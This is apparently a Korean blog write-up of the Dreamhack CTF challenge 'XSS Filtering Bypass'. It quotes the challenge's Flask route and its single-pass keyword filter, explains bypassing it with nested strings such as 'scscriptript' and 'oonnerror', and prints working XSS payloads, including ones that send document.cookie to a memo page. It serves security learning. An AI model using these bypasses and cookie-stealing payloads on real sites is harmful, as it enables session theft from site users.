WEB hacking/드림핵(dreamhack)

드림핵 XSS Filtering Bypass WriteUp

Roronoa 2023. 8. 25. 21:03
반응형

문제 설명

[그림 1] 문제 설명

XSS Filtering Bypass에 대한 문제이다. 이를 통해 크로스 사이트 스크립팅 취약점을 이용하여 문제를 해결해야함을 알 수 있다.

 

[그림 2] 메인 페이지

메인페이지에 접속을 하면 vuln, memo, flag에 대한 페이지에 접근할 수 있다. 먼제 vuln에 대해 살펴보겠다.

 

vuln 페이지 소스코드

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

vuln 페이지는 param이라는 인자를 받아 xss_filter함수를 통해 필터링을 진행한 후 그대로 출력해준다. 

xss_filter을 살펴보자!!

 

xss_filter 함수 소스코드

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

script, on, javascript 문자를 반복문을 통하여 ""으로 치환을 한다. 치환 필터링 방식에서 중요한 점은 치환을 한번만 하면 우회가 가능하기 때문에 무한반복으로 더이상 치환할 문자들이 없을 때 까지 진행해야한다. 하지만 여기에서는 단 1회만 검증하기 때문에 우회가 가능하다.

 

우회 방법

script 우회: scscriptript, scronipt

on 우회: oonn

 

문제 풀이

script 문자열 우회

[그림 3] script 문자열 우회하여 alert창 출력

payload: <scscriptript>alert(1)</scscriptript>

 

on 문자열 우회

[그림 4] on문자열 우회하여 alert창 출력

payload: <img src=test oonnerror=alert(1)>

 

flag 획득

[그림 5] flag 페이지

flag페이지에서 param 파라미터를 입력할 수 있다. 해당 파라미터를 입력함으로써 xss를 유발한다. payload는 아래와 같다.

payload

<scscriptript>locatioonn.href="/memo?memo=" + document.cookie; </scscriptript>

<scscriptript>document["locatio" + "n"].href="/memo?memo=" + document.cookie; </scscriptript>

<img src=test oonnerror='locatioonn.href="/memo?memo=" + document.cookie;' />

등등

 

[그림 6] flag 출력

위 payload를 사용하여 flag를 획득하였다.

반응형

'WEB hacking > 드림핵(dreamhack)' 카테고리의 다른 글

드림핵 blind-command WriteUp  (0) 2023.09.04
드림핵 Carve Party WriteUp  (0) 2023.09.04
드림핵 web-ssrf Write Up  (0) 2023.08.09
드림핵 file-download-1 Write Up  (0) 2023.08.07
드림핵 image-storage Write Up  (0) 2023.08.07